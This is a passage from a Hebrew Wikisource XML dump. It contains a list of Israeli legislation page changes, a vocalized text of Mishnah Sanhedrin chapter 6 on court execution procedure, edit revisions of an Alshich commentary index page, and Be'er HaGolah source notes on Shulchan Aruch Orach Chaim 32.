* {{v}} דף [[חוק להקפאת כספים ששילמה הרשות הפלסטינית בזיקה לטרור מהכספים המועברים אליה מממשלת ישראל]] הועבר לדף [[חוק להקפאה וניכוי של כספים ששילמה הרשות הפלסטינית בזיקה לטרור מהכספים המועברים אליה מממשלת ישראל]]
* {{v}} נוצר [[חוק התכנית להגדלת גמלאות הבטחת הכנסה לקשישים נזקקים ולסיוע לניצולי שואה (תיקוני חקיקה)]]
* {{v}} נוצר [[חוק שנת הכספים]]
* {{v}} נוצר [[צו הבנקאות (שירות ללקוח) (פיקוח על שירות ניהול חשבון תשלום, שירות דמי כרטיס חיוב מיידי, שירות שינויים במועד הפירעון החודשי של הלוואה לדיור)]]
* {{v}} נוצר [[צו הבנקאות (שירות ללקוח) (פיקוח על שירותי פעולה על ידי פקיד, פעולה בערוץ ישיר, מסלול מורחב ומסלול מורחב פלוס)]]
* {{v}} נוצר [[צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ&quot;ו)]]
* {{v}} נוצר [[חוק ועדות הכנסת (ועדת העבודה והרווחה)]]
* {{v}} נוצר [[חוק שטרי-חסכון צמודי-דולר]]
* [[חוק מניות בנקאיות בהסדר (הפחתת עמלות)]]
* [[חוק שדה התעופה אילת (הוראות מיוחדות)]]</text>
      <sha1>hxzhwk09ja0ujcdiuacws5984qlvibo</sha1>
    </revision>
  </page>
  <page>
    <title>משנה סנהדרין ו ניקוד</title>
    <ns>0</ns>
    <id>382738</id>
    <revision>
      <id>3020660</id>
      <parentid>2679822</parentid>
      <timestamp>2026-06-18T16:05:12Z</timestamp>
      <contributor>
        <username>Nahum</username>
        <id>68</id>
      </contributor>
      <minor />
      <origin>3020660</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="9293" sha1="ropd2lx3vrkn4722bt7c3aypgps3tct" xml:space="preserve">&lt;noinclude&gt;{{התחלת משנה מנוקדת|משניות=6|סנהדרין|ה|ו|ז}}&lt;/noinclude&gt;
{{המשנה|א|ו|סנהדרין}}
&lt;קטע התחלה=א/&gt;נִגְמַר הַדִּין, 
::מוֹצִיאִין אוֹתוֹ לְסָקְלוֹ. 
:בֵּית הַסְּקִילָה הָיָה חוּץ לְבֵית דִּין, 
::שֶׁנֶּאֱמַר {{ממ|ויקרא|כד|יד}}: &quot;הוֹצֵא אֶת הַמְקַלֵּל&quot;. 
:אֶחָד עוֹמֵד עַל פֶּתַח בֵּית דִּין וְהַסּוּדָרִין בְּיָדוֹ, 
::וְהַסּוּס [{{ק|נ&quot;א:}} וְאָדָם אֶחָד רוֹכֵב הַסּוּס] רָחוֹק מִמֶּנּוּ, כְּדֵי שֶׁיְּהֵא רוֹאֵהוּ; 
::אוֹמֵר אֶחָד: 
:::יֵשׁ לִי לְלַמֵּד עָלָיו זְכוּת, 
::הַלָּה מֵנִיף בַּסּוּדָרִין, 
:::וְהַסּוּס רָץ וּמַעֲמִידוֹ. 
:וַאֲפִלּוּ הוּא אוֹמֵר: 
:::יֵשׁ לִי לְלַמֵּד עַל עַצְמִי זְכוּת, 
::מַחֲזִירִין אוֹתוֹ, 
::אֲפִלּוּ אַרְבָּעָה וַחֲמִשָּׁה פְּעָמִים; 
:::וּבִלְבַד שֶׁיֵּשׁ מַמָּשׁ בִּדְבָרָיו. 
:מָצְאוּ לוֹ זְכוּת, פְּטָרוּהוּ; 
::וְאִם לָאו, יוֹצֵא לִסָּקֵל. 
:וְכָרוֹז יוֹצֵא לְפָנָיו: 
::אִישׁ פְּלוֹנִי בֶּן פְּלוֹנִי יוֹצֵא לִסָּקֵל, 
:::עַל שֶׁעָבַר עֲבֵרָה פְּלוֹנִית, 
::וּפְלוֹנִי וּפְלוֹנִי עֵדָיו; 
::כָּל מִי שֶׁיּוֹדֵעַ לוֹ זְכוּת, יָבוֹא וִילַמֵּד עָלָיו:&lt;קטע סוף=א/&gt;

{{המשנה|ב|ו|סנהדרין}}
&lt;קטע התחלה=ב/&gt;הָיָה רָחוֹק מִבֵּית הַסְּקִילָה כְּעֶשֶׂר אַמּוֹת, אוֹמְרִים לוֹ: הִתְוַדֵּה, 
::שֶׁכֵּן דֶּרֶךְ הַמּוּמָתִין מִתְוַדִּין, 
::שֶׁכָּל הַמִּתְוַדֶּה – יֵשׁ לוֹ חֵלֶק לָעוֹלָם הַבָּא. 
:שֶׁכֵּן מָצִינוּ בְּעָכָן, 
::שֶׁאָמַר לוֹ יְהוֹשֻׁעַ {{ממ|יהושע|ז|יט}}: 
::בְּנִי, שִׂים נָא כָבוֹד לַה' אֱלֹהֵי יִשְׂרָאֵל וְתֶן לוֹ תוֹדָה וְגוֹ'. 
::וַיַּעַן עָכָן אֶת יְהוֹשֻׁעַ וַיֹּאמַר: 
:::אָמְנָה אָנֹכִי חָטָאתִי [לַה' אֱלֹהֵי יִשְׂרָאֵל] וְכָזֹאת וְגוֹ'. 
::וּמִנַּיִן שֶׁכִּפֵּר לוֹ וִדּוּיוֹ? שֶׁנֶּאֱמַר {{ק|([[יהושע ז כה|שם, כה]])}}: 
:::וַיֹּאמֶר יְהוֹשֻׁעַ: מֶה עֲכַרְתָּנוּ? יַעְכָּרְךָ ה' בַּיּוֹם הַזֶּה; 
::הַיּוֹם הַזֶּה אַתָּה עָכוּר, 
:::וְאִי אַתָּה עָכוּר לָעוֹלָם הַבָּא. 
:וְאִם אֵינוֹ יוֹדֵעַ לְהִתְוַדּוֹת, אוֹמְרִים לוֹ: 
::אֱמֹר: תְּהֵא מִיתָתִי כַּפָּרָה עַל כָּל עֲווֹנוֹתָי. 
:רַבִּי יְהוּדָה אוֹמֵר: 
::אִם הָיָה יוֹדֵעַ שֶׁהוּא מְזֻמָּם, אוֹמֵר: 
:::תְּהֵא מִיתָתִי כַּפָּרָה עַל כָּל עֲוֹנוֹתַי, חוּץ מֵעָוֹן זֶה. 
::אָמְרוּ לוֹ: 
:::אִם כֵּן, יְהוּ כָּל אָדָם אוֹמְרִים כָּךְ, 
:::כְּדֵי לְנַקּוֹת אֶת עַצְמָן:&lt;קטע סוף=ב/&gt;

{{המשנה|ג|ו|סנהדרין}}
&lt;קטע התחלה=ג/&gt;הָיָה רָחוֹק מִבֵּית הַסְּקִילָה אַרְבַּע אַמּוֹת, 
::מַפְשִׁיטִין אוֹתוֹ אֶת בְּגָדָיו. 
:הָאִישׁ, מְכַסִּין אוֹתוֹ מִלְּפָנָיו, 
::וְהָאִשָּׁה, מִלְּפָנֶיהָ וּמֵאַחֲרֶיהָ, 
:::דִּבְרֵי רַבִּי יְהוּדָה; 
::וַחֲכָמִים אוֹמְרִים: 
:::הָאִישׁ נִסְקָל עָרֹם, 
:::וְאֵין הָאִשָּׁה נִסְקֶלֶת עֲרֻמָּה:&lt;קטע סוף=ג/&gt;

{{המשנה|ד|ו|סנהדרין}}
&lt;קטע התחלה=ד/&gt;בֵּית הַסְּקִילָה הָיָה גָּבוֹהַּ שְׁתֵּי קוֹמוֹת. 
:אֶחָד מִן הָעֵדִים דּוֹחֲפוֹ עַל מָתְנָיו. 
::נֶהְפַּךְ עַל לִבּוֹ, הוֹפְכוֹ עַל מָתְנָיו. 
:אִם מֵת בָּהּ, יָצָא; 
::וְאִם לָאו, הַשֵּׁנִי נוֹטֵל אֶת הָאֶבֶן וְנוֹתְנָהּ עַל לִבּוֹ. 
:אִם מֵת בָּהּ, יָצָא; 
::וְאִם לָאו, רְגִימָתוֹ בְכָל יִשְׂרָאֵל, שֶׁנֶּאֱמַר {{ממ|דברים|יז|ז}}: 
:::יַד הָעֵדִים תִּהְיֶה בּוֹ בָרִאשֹׁנָה לַהֲמִיתוֹ, 
:::וְיַד כָּל הָעָם בָּאַחֲרֹנָה. 
:כָּל הַנִּסְקָלִין נִתְלִין, 
:::דִּבְרֵי רַבִּי אֱלִיעֶזֶר; 
::וַחֲכָמִים אוֹמְרִים: 
:::אֵינוֹ נִתְלֶה, 
:::אֶלָּא הַמְּגַדֵּף, וְהָעוֹבֵד עֲבוֹדָה זָרָה. 
:הָאִישׁ תּוֹלִין אוֹתוֹ פָּנָיו כְּלַפֵּי הָעָם, 
::וְהָאִשָּׁה – פָּנֶיהָ כְּלַפֵּי הָעֵץ, 
:::דִּבְרֵי רַבִּי אֱלִיעֶזֶר; 
::וַחֲכָמִים אוֹמְרִים: 
:::הָאִישׁ נִתְלֶה, 
:::וְאֵין הָאִשָּׁה נִתְלֵית. 
:אָמַר לָהֶן רַבִּי אֱלִיעֶזֶר: 
:::וַהֲלֹא שִׁמְעוֹן בֶּן שָׁטַח תָּלָה נָשִׁים בְּאַשְׁקְלוֹן! 
::אָמְרוּ לוֹ: 
:::שְׁמוֹנִים נָשִׁים תָּלָה, 
:::וְאֵין דָּנִין שְׁנַיִם בְּיוֹם אֶחָד. 
:כֵּיצַד תּוֹלִין אוֹתוֹ? 
::מְשַׁקְּעִין אֶת הַקּוֹרָה בָּאָרֶץ, 
::וְהָעֵץ יוֹצֵא מִמֶּנָּה, 
::וּמַקִּיף שְׁתֵּי יָדָיו זוֹ עַל גַּבֵּי זוֹ, וְתוֹלֶה אוֹתוֹ. 
:רַבִּי יוֹסֵי אוֹמֵר: 
::הַקּוֹרָה מֻטָּה עַל הַכֹּתֶל, 
::וְתוֹלֶה אוֹתוֹ, כְּדֶרֶךְ שֶׁהַטַּבָּחִין עוֹשִׂין. 
:וּמַתִּירִין אוֹתוֹ מִיָּד; 
::וְאִם לָן, עוֹבֵר עָלָיו בְּלֹא תַּעֲשֶׂה, שֶׁנֶּאֱמַר {{ממ|דברים|כא|כג}}: 
:::לֹא תָלִין נִבְלָתוֹ עַל הָעֵץ, 
:::כִּי קָבוֹר תִּקְבְּרֶנּוּ בַּיּוֹם הַהוּא, 
:::כִּי קִלְלַת אֱלֹהִים תָּלוּי וְגוֹ'. 
:כְּלוֹמַר: 
::מִפְּנֵי מָה זֶה תָּלוּי? 
::מִפְּנֵי שֶׁבֵּרֵךְ אֶת הַשֵּׁם; 
:::וְנִמְצָא שֵׁם שָׁמַיִם מִתְחַלֵּל:&lt;קטע סוף=ד/&gt;

{{המשנה|ה|ו|סנהדרין}}
&lt;קטע התחלה=ה/&gt;אָמַר רַבִּי מֵאִיר: 
:בִּזְמַן שֶׁאָדָם מִצְטַעֵר, שְׁכִינָה מָה הַלָּשׁוֹן אוֹמֶרֶת (כְּבַיָּכוֹל)? 
::קַלַּנִי מֵרֹאשִׁי, קַלַּנִי מִזְּרוֹעִי. 
:אִם כֵּן הַמָּקוֹם מִצְטַעֵר עַל דָּמָם שֶׁל רְשָׁעִים שֶׁנִּשְׁפַּךְ, 
::קַל וָחֹמֶר עַל דָּמָם שֶׁל צַדִּיקִים. 
:וְלֹא זוֹ בִּלְבַד, 
::אֶלָּא כָּל הַמֵּלִין אֶת מֵתוֹ, עוֹבֵר בְּלֹא תַעֲשֶׂה. 
:הֱלִינוֹ לִכְבוֹדוֹ לְהָבִיא לוֹ אָרוֹן וְתַכְרִיכִים, 
::אֵינוֹ עוֹבֵר עָלָיו. 
:וְלֹא הָיוּ קוֹבְרִין אוֹתוֹ בְּקִבְרוֹת אֲבוֹתָיו, 
::אֶלָּא שְׁנֵי בָּתֵּי קְבָרוֹת הָיוּ מְתֻקָּנִין לְבֵית דִּין: 
:::אֶחָד לַנֶּהֱרָגִין וְלַנֶּחֱנָקִין, 
:::וְאֶחָד לַנִּסְקָלִין וְלַנִּשְׂרָפִין:&lt;קטע סוף=ה/&gt;

{{המשנה|ו|ו|סנהדרין}}
&lt;קטע התחלה=ו/&gt;נִתְעַכֵּל הַבָּשָׂר, 
:מְלַקְּטִין אֶת הָעֲצָמוֹת, 
::וְקוֹבְרִין אוֹתָן בִּמְקוֹמָן. 
:וְהַקְּרוֹבִים בָּאִים וְשׁוֹאֲלִין בִּשְׁלוֹם הַדַּיָּנִין וּבִשְׁלוֹם הָעֵדִים, 
::כְּלוֹמַר: שֶׁאֵין בְּלִבֵּנוּ עֲלֵיכֶם כְּלוּם, 
:::שֶׁדִּין אֱמֶת דַּנְתֶּם. 
:וְלֹא הָיוּ מִתְאַבְּלִין, 
::אֲבָל אוֹנְנִין, 
:::שֶׁאֵין אֲנִינוּת אֶלָּא בַּלֵּב:&lt;קטע סוף=ו/&gt;

&lt;noinclude&gt;
{{סוף משנה מנוקדת|סנהדרין|ה|ו|ז}}
[[קטגוריה:משנה מנוקד|סנהדרין ו]]
[[קטגוריה:מסכת סנהדרין|ו]]
&lt;/noinclude&gt;</text>
      <sha1>ropd2lx3vrkn4722bt7c3aypgps3tct</sha1>
    </revision>
  </page>
  <page>
    <title>אלשיך על שמות</title>
    <ns>0</ns>
    <id>892170</id>
    <revision>
      <id>3020690</id>
      <parentid>1882356</parentid>
      <timestamp>2026-06-18T17:52:50Z</timestamp>
      <contributor>
        <username>Do2or</username>
        <id>5565</id>
      </contributor>
      <origin>3020690</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="778" sha1="lm5mnear08cwdsyil5usz8sfvwshqfu" xml:space="preserve">{{פרשן על ספר|אלשיך|שמות}}	
[        [[אלשיך_על_שמות/שמות|פרשת שמות]]
	[        [[אלשיך_על_שמות/וארא|פרשת וארא]
	[        [[אלשיך_על_שמות/בא|פרשת בא]
	[        [[אלשיך_על_שמות/בשלח|פרשת בשלח]
	[        [[אלשיך_על_שמות/יתרו|פרשת יתרו]
	[        [[אלשיך_על_שמות/משפטים|פרשת משפטים]
	[        [[אלשיך_על_שמות/תרומה|פרשת תרומה]
	[        [[אלשיך_על_שמות/תצוה|פרשת תצוה]
	[        [[אלשיך_על_שמות/כי תשא|פרשת כי תשא]
	[        [[אלשיך_על_שמות/ויקהל|פרשת ויקהל]
	[        [[אלשיך_על_שמות/פקודי|פרשת פקודי]</text>
      <sha1>lm5mnear08cwdsyil5usz8sfvwshqfu</sha1>
    </revision>
    <revision>
      <id>3020691</id>
      <parentid>3020690</parentid>
      <timestamp>2026-06-18T17:53:12Z</timestamp>
      <contributor>
        <username>Do2or</username>
        <id>5565</id>
      </contributor>
      <origin>3020691</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="768" sha1="1e7tbvqmuytb5plcddqxf1lb7rl4bpw" xml:space="preserve">{{פרשן על ספר|אלשיך|שמות}}	
[        [[אלשיך_על_שמות/שמות|פרשת שמות]]
[        [[אלשיך_על_שמות/וארא|פרשת וארא]
[        [[אלשיך_על_שמות/בא|פרשת בא]
[        [[אלשיך_על_שמות/בשלח|פרשת בשלח]
[        [[אלשיך_על_שמות/יתרו|פרשת יתרו]
[        [[אלשיך_על_שמות/משפטים|פרשת משפטים]
[        [[אלשיך_על_שמות/תרומה|פרשת תרומה]
[        [[אלשיך_על_שמות/תצוה|פרשת תצוה]
[        [[אלשיך_על_שמות/כי תשא|פרשת כי תשא]
[        [[אלשיך_על_שמות/ויקהל|פרשת ויקהל]
[        [[אלשיך_על_שמות/פקודי|פרשת פקודי]</text>
      <sha1>1e7tbvqmuytb5plcddqxf1lb7rl4bpw</sha1>
    </revision>
    <revision>
      <id>3020692</id>
      <parentid>3020691</parentid>
      <timestamp>2026-06-18T17:53:28Z</timestamp>
      <contributor>
        <username>Do2or</username>
        <id>5565</id>
      </contributor>
      <origin>3020692</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="768" sha1="f1t8tmrzjtxlenc281j64vveo9vfytq" xml:space="preserve">{{פרשן על ספר|אלשיך|שמות}}	
[        [[אלשיך_על_שמות/שמות|פרשת שמות]]
         [[אלשיך_על_שמות/וארא|פרשת וארא]
[        [[אלשיך_על_שמות/בא|פרשת בא]
[        [[אלשיך_על_שמות/בשלח|פרשת בשלח]
[        [[אלשיך_על_שמות/יתרו|פרשת יתרו]
[        [[אלשיך_על_שמות/משפטים|פרשת משפטים]
[        [[אלשיך_על_שמות/תרומה|פרשת תרומה]
[        [[אלשיך_על_שמות/תצוה|פרשת תצוה]
[        [[אלשיך_על_שמות/כי תשא|פרשת כי תשא]
[        [[אלשיך_על_שמות/ויקהל|פרשת ויקהל]
[        [[אלשיך_על_שמות/פקודי|פרשת פקודי]</text>
      <sha1>f1t8tmrzjtxlenc281j64vveo9vfytq</sha1>
    </revision>
    <revision>
      <id>3020693</id>
      <parentid>3020692</parentid>
      <timestamp>2026-06-18T17:53:47Z</timestamp>
      <contributor>
        <username>Do2or</username>
        <id>5565</id>
      </contributor>
      <comment>החלפת הדף בתוכן &quot;{{פרשן על ספר|אלשיך|שמות}}&quot;</comment>
      <origin>3020693</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="44" sha1="c5zlid8qxhial9726a0pan5laru0smg" xml:space="preserve">{{פרשן על ספר|אלשיך|שמות}}</text>
      <sha1>c5zlid8qxhial9726a0pan5laru0smg</sha1>
    </revision>
  </page>
  <page>
    <title>באר הגולה (רבקש) על אורח חיים לב</title>
    <ns>0</ns>
    <id>1700297</id>
    <revision>
      <id>3020666</id>
      <parentid>3020124</parentid>
      <timestamp>2026-06-18T16:47:26Z</timestamp>
      <contributor>
        <username>Nahum</username>
        <id>68</id>
      </contributor>
      <origin>3020666</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="16556" sha1="sxjy285z9aahkqplm4lkga55f20h9rp" xml:space="preserve">{{פרשן על שו&quot;ע|באר הגולה (רבקש)|אורח חיים|לא|לב|לג}}

{{תוכן עניינים שטוח}}

=== [[שולחן ערוך אורח חיים לב א|סעיף א]] ===
&lt;קטע התחלה=א/&gt;{{משע|בהג|א|מצות תפילין}} — [[מנחות לד ב]].&lt;קטע סוף=א/&gt;

=== [[שולחן ערוך אורח חיים לב ב|סעיף ב]] ===
&lt;קטע התחלה=ב/&gt;{{משע|בהג|ב|של ראש יכתוב}} — [[מנחות לד ב|שם]].&lt;קטע סוף=ב/&gt;

=== [[שולחן ערוך אורח חיים לב ג|סעיף ג]] ===
&lt;קטע התחלה=ג/&gt;{{משע|בהג|ג|יכתבם בדיו שחור}} — [[שבת קג ב]].

{{משע|בהג|ד|בין שיש בו}} — [[רמב&quot;ם הלכות תפילין ומזוזה וספר תורה א ד|רמב&quot;ם בפ&quot;א מה&quot;ת]] והגהות מיימוניות שם והרא&quot;ש.

{{משע|בהג|ה|כתב אפילו}} — [[שבת קג ב|שם בגמ']].

{{משע|בהג|ו|אם זרק עפרות}} — בית יוסף לפירוש הנימוקי יוסף.&lt;קטע סוף=ג/&gt;

=== [[שולחן ערוך אורח חיים לב ד|סעיף ד]] ===
&lt;קטע התחלה=ד/&gt;{{משע|בהג|ז|צריך שלא}} — [[מנחות לד א]].&lt;קטע סוף=ד/&gt;

=== [[שולחן ערוך אורח חיים לב ה|סעיף ה]] ===
&lt;קטע התחלה=ה/&gt;{{משע|בהג|ח|צריך שיכתוב בימינו}} — [[מנחות לז א|שם לז א]].

{{משע|בהג|ט|ואם כתב בשמאל}} — ספר התרומה סימן ר&quot;ה והגהות מיימוני פרק ב' מהלכות תפילין בשם סמ&quot;ק.

{{משע|בהג|י|אם אפשר למצוא}} — דעת הב&quot;י.&lt;קטע סוף=ה/&gt;

=== [[שולחן ערוך אורח חיים לב ו|סעיף ו]] ===
&lt;קטע התחלה=ו/&gt;{{משע|בהג|כ|אין צריך לשרטט}} — [[מנחות לב ב]].

{{משע|בהג|ל|כי אם שטה}} — תוספות והרא&quot;ש וספר התרומה, מההיא דגיטין ו[[מסכת סופרים]].

{{משע|בהג|מ|ואם אינו יודע}} — הרא&quot;ש בהלכות ספר תורה.&lt;קטע סוף=ו/&gt;

=== [[שולחן ערוך אורח חיים לב ז|סעיף ז]] ===
&lt;קטע התחלה=ז/&gt;{{משע|בהג|נ|הלכה למשה מסיני}} — [[שבת עט ב]]; [[מנחות לב א]].

{{משע|בהג|ס|מהו קלף ומהו דוכסוסטוס}} — לפירוש התוס' והמרדכי בשם רש&quot;י והר&quot;ן בשם הערוך והרא&quot;ש בהלכות ספר תורה והרמב&quot;ם בפרק א' מהלכות תפילין.

{{משע|בהג|ע|וקלפים שלנו}} — תוס' וכל הני רבוותא.

{{משע|בהג|פ|שמה שמגררים}} — ב&quot;י.&lt;קטע סוף=ז/&gt;

=== [[שולחן ערוך אורח חיים לב ח|סעיף ח]] ===
&lt;קטע התחלה=ח/&gt;{{משע|בהג|צ|צריך הקלף להיות מעובד}} — [[מגילה יט א]].

{{משע|בהג|ק|או בסיד}} — תוס' שם והרא&quot;ש והר&quot;ן.

{{משע|בהג|ר|וצריך שיהיה מעובד לשמו}} — [[גיטין נד ב]] אפילו לדעת רש&quot;י.

{{משע|בהג|ש|טוב להוציא בשפתיו}} — הרא&quot;ש בהלכות ס&quot;ת בשם ר' ברוך, וסמ&quot;ג בסימן כ&quot;ה.

{{משע|בהג|ת|אבל אם עיבדה לשם מזוזה}} — ב&quot;י, וכדעת ר&quot;א ור&quot;ת דפסלי שלא לשמה.&lt;קטע סוף=ח/&gt;

=== [[שולחן ערוך אורח חיים לב ט|סעיף ט]] ===
&lt;קטע התחלה=ט/&gt;{{משע|בהג|א|להרמב&quot;ם פסול}} — בפרק א מהלכות תפילין.

{{משע|בהג|ב|ולהרא&quot;ש כשר}} — בהלכות ס&quot;ת בשם רבי ברוך.&lt;קטע סוף=ט/&gt;

=== [[שולחן ערוך אורח חיים לב י|סעיף י]] ===
&lt;קטע התחלה=י/&gt;{{משע|בהג|ג|כשמסמנין הנקבים}} — הגהת מיימוני מהלכות תפילין.&lt;קטע סוף=י/&gt;

=== [[שולחן ערוך אורח חיים לב יא|סעיף יא]] ===
&lt;קטע התחלה=יא/&gt;{{משע|בהג|ד|יתבאר בטור יורה דעה}} — הרב השמיטו שם, והטור ביורה דעה שם בשם תשובה לגאון מכשיר.&lt;קטע סוף=יא/&gt;

=== [[שולחן ערוך אורח חיים לב יב|סעיף יב]] ===
&lt;קטע התחלה=יב/&gt;{{משע|בהג|ה|יהיה הקלף מעור}} — [[שבת קח א]].&lt;קטע סוף=יב/&gt;

=== [[שולחן ערוך אורח חיים לב יג|סעיף יג]] ===
&lt;קטע התחלה=יג/&gt;{{משע|בהג|ו|יהיה הקלף שלם}} — שם; ו[[חולין קכ א]].

{{משע|בהג|ז|דהיינו שלא תהא האות}} —  הר&quot;י אכסנדריא בסימן ל&quot;ו.&lt;קטע סוף=יג/&gt;

=== [[שולחן ערוך אורח חיים לב יד|סעיף יד]] ===
&lt;קטע התחלה=יד/&gt;{{משע|בהג|ח|הסופרים הזריזים}} — שם.&lt;קטע סוף=יד/&gt;

=== [[שולחן ערוך אורח חיים לב טו|סעיף טו]] ===
&lt;קטע התחלה=טו/&gt;{{משע|בהג|ט|אם לאחר שנכתב}} — [[מנחות כט א]] לפירוש השני ברש&quot;י, ולהרמב&quot;ם בפרק ח מהלכות תפילין.

{{משע|בהג|י|בירושלמי משמע}} — [[ירושלמי מגילה א א|בפרק קמא דמגילה הלכה א]].

{{משע|בהג|כ|כשר להרא&quot;ש}} — בהלכות ספר תורה, וכפירוש הא' שברש&quot;י במנחות.

{{משע|בהג|ל|ניקב רגל הימיני}} — שם בגמ' דמנחות.&lt;קטע סוף=טו/&gt;

=== [[שולחן ערוך אורח חיים לב טז|סעיף טז]] ===
&lt;קטע התחלה=טז/&gt;{{משע|בהג|מ|נפסק אחת}} — מרדכי בהקומץ.

{{משע|בהג|נ|הא דמכשרינן}} — בית יוסף מדברי הרמב&quot;ם סוף פרק א מהלכות תפילין.

{{משע|בהג|ס|רגל הכ&quot;ף הפשוטה}} — תשובת ר' לוי ן' חביב.&lt;קטע סוף=טז/&gt;

=== [[שולחן ערוך אורח חיים לב יז|סעיף יז]] ===
&lt;קטע התחלה=יז/&gt;{{משע|בהג|ע|אם נפלה}} — הרא&quot;ה פרק ב' דגיטין וספר התרומה סימן ר&quot;ה, סמ&quot;ג והגהות מיימוני פרק א'.&lt;קטע סוף=יז/&gt;

=== [[שולחן ערוך אורח חיים לב יח|סעיף יח]] ===
&lt;קטע התחלה=יח/&gt;{{משע|בהג|פ|מ&quot;ם פתוחה}} — תשובת הרא&quot;ש כלל ה', ספר התרומה ומיימון וסמ&quot;ג.

{{משע|בהג|צ|ומה תקנתה}} — מבואר בתשובת הרשב&quot;א המיוחסת להרמב&quot;ן סימן רל&quot;ו, וכן הורה מהר&quot;י ן' חביב ומהר&quot;ר לוי בנו.

{{משע|בהג|ק|ורי&quot;ש שעשאה כמין דל&quot;ת}} — בית יוסף ממשמעות תשובת הרשב&quot;א.

{{משע|בהג|ר|גרר והפרידה כשר}} — הרא&quot;ש בהלכות תפילין וספר התרומה והגהות מיימוני.

{{משע|בהג|ש|ואם נגעו רגלי הה&quot;א}} — תשובת הרשב&quot;א ותשובה להרמב&quot;ם סימן רל&quot;ו ותרומת הדשן סימן מ&quot;ח.&lt;קטע סוף=יח/&gt;

=== [[שולחן ערוך אורח חיים לב יט|סעיף יט]] ===
&lt;קטע התחלה=יט/&gt;{{משע|בהג|ת|בתחילת הכתיבה}} — הרא&quot;ש בהלכות ספר תורה, סמ&quot;ג סימן פ&quot;ה, וספר התרומה, מההיא ד[[גיטין נד ב]].

{{משע|בהג|א|מלבד זה בכל פעם}} — שם.&lt;קטע סוף=יט/&gt;

=== [[שולחן ערוך אורח חיים לב כ|סעיף כ]] ===
&lt;קטע התחלה=כ/&gt;{{משע|בהג|ב|צריך לדקדק}} — הרא&quot;ש בספר תיקון תפילין וכתיבתן.&lt;קטע סוף=כ/&gt;

=== [[שולחן ערוך אורח חיים לב כא|סעיף כא]] ===
&lt;קטע התחלה=כא/&gt;{{משע|בהג|ג|כל פרשה אחר שיכתבנה}} — הר&quot;י אכסנדריא.&lt;קטע סוף=כא/&gt;

=== [[שולחן ערוך אורח חיים לב כב|סעיף כב]] ===
&lt;קטע התחלה=כב/&gt;{{משע|בהג|ד|טוב לנסות}} — שם.&lt;קטע סוף=כב/&gt;

=== [[שולחן ערוך אורח חיים לב כג|סעיף כג]] ===
&lt;קטע התחלה=כג/&gt;{{משע|בהג|ה|אם מצא שחסר}} — טור בשם מכילתין והרמב&quot;ם פרק א' מהלכות תפילין והר&quot;י אכסנדריא וספר אורחות חיים.

{{משע|בהג|ו|אבל אם היא באמצע}} — הר&quot;י אכסנדריא.&lt;קטע סוף=כג/&gt;

=== [[שולחן ערוך אורח חיים לב כד|סעיף כד]] ===
&lt;קטע התחלה=כד/&gt;{{משע|בהג|ז|מותר לכתוב על}} — הרמב&quot;ם וספר אורחות חיים בשם ר' יונה.

{{משע|בהג|ח|ולא ימחוק בעודו לח}} — הר&quot;י אכסנדריא.&lt;קטע סוף=כד/&gt;

=== [[שולחן ערוך אורח חיים לב כה|סעיף כה]] ===
&lt;קטע התחלה=כה/&gt;{{משע|בהג|ט|כל אות}} — הגהות מיימוניות פרק א ופרק ב, ומהרי&quot;ק בשורש ס&quot;ט ותרומת הדשן סימן מ&quot;ח והר&quot;י אכסנדריא.&lt;קטע סוף=כה/&gt;

=== [[שולחן ערוך אורח חיים לב כו|סעיף כו]] ===
&lt;קטע התחלה=כו/&gt;{{משע|בהג|י|אם אותיות של שם}} — מרדכי בשם ר&quot;י, והרא&quot;ש בתשובה.&lt;קטע סוף=כו/&gt;

=== [[שולחן ערוך אורח חיים לב כז|סעיף כז]] ===
&lt;קטע התחלה=כז/&gt;{{משע|בהג|כ|אותיות ותיבות שנמחקו}} — תרומת הדשן.&lt;קטע סוף=כז/&gt;

=== [[שולחן ערוך אורח חיים לב כח|סעיף כח]] ===
&lt;קטע התחלה=כח/&gt;{{משע|בהג|ל|יש ליזהר}} — תשובת הריב&quot;ש לדעת הרמב&quot;ם בפרק ב דגיטין.&lt;קטע סוף=כח/&gt;

=== [[שולחן ערוך אורח חיים לב כט|סעיף כט]] ===
&lt;קטע התחלה=כט/&gt;{{משע|בהג|מ|אם אין הפרשיות}} — [[מגילה יח ב]]; [[מנחות לב ב]].&lt;קטע סוף=כט/&gt;

=== [[שולחן ערוך אורח חיים לב ל|סעיף ל]] ===
&lt;קטע התחלה=ל/&gt;{{משע|בהג|נ|אינו רשאי}} — פרק קמא ד[[מסכת סופרים]].&lt;קטע סוף=ל/&gt;

=== [[שולחן ערוך אורח חיים לב לא|סעיף לא]] ===
&lt;קטע התחלה=לא/&gt;{{משע|בהג|ס|אם אינו כותב}} — ספר התרומה קנ&quot;ח והמרדכי בהלכות קטנות.&lt;קטע סוף=לא/&gt;

=== [[שולחן ערוך אורח חיים לב לב|סעיף לב]] ===
&lt;קטע התחלה=לב/&gt;{{משע|בהג|ע|צריך להניח חלק}} — סמ&quot;ק והרא&quot;ש.

{{משע|בהג|פ|אין צריך להניח}} — הרא&quot;ש בסדר תיקון תפילין.&lt;קטע סוף=לב/&gt;

=== [[שולחן ערוך אורח חיים לב לג|סעיף לג]] ===
&lt;קטע התחלה=לג/&gt;{{משע|בהג|צ|יעשה השורות}} — הרא&quot;ש שם וסמ&quot;ג וסמ&quot;ק וספר התרומה סימן ר&quot;ה.

{{משע|בהג|ק|ולפחות יזהר שלא}} — סמ&quot;ק והגהות מיימוניות פרק ב מההיא דמנחות.&lt;קטע סוף=לג/&gt;

=== [[שולחן ערוך אורח חיים לב לד|סעיף לד]] ===
&lt;קטע התחלה=לד/&gt;{{משע|בהג|ר|שתי אותיות}} — [[טור יורה דעה רעג|טור ביורה דעה רע&quot;ג]].&lt;קטע סוף=לד/&gt;

=== [[שולחן ערוך אורח חיים לב לה|סעיף לה]] ===
&lt;קטע התחלה=לה/&gt;{{משע|בהג|ש|אותיות השם}} — [[טור יורה דעה רעג|שם]].&lt;קטע סוף=לה/&gt;

=== [[שולחן ערוך אורח חיים לב לו|סעיף לו]] ===
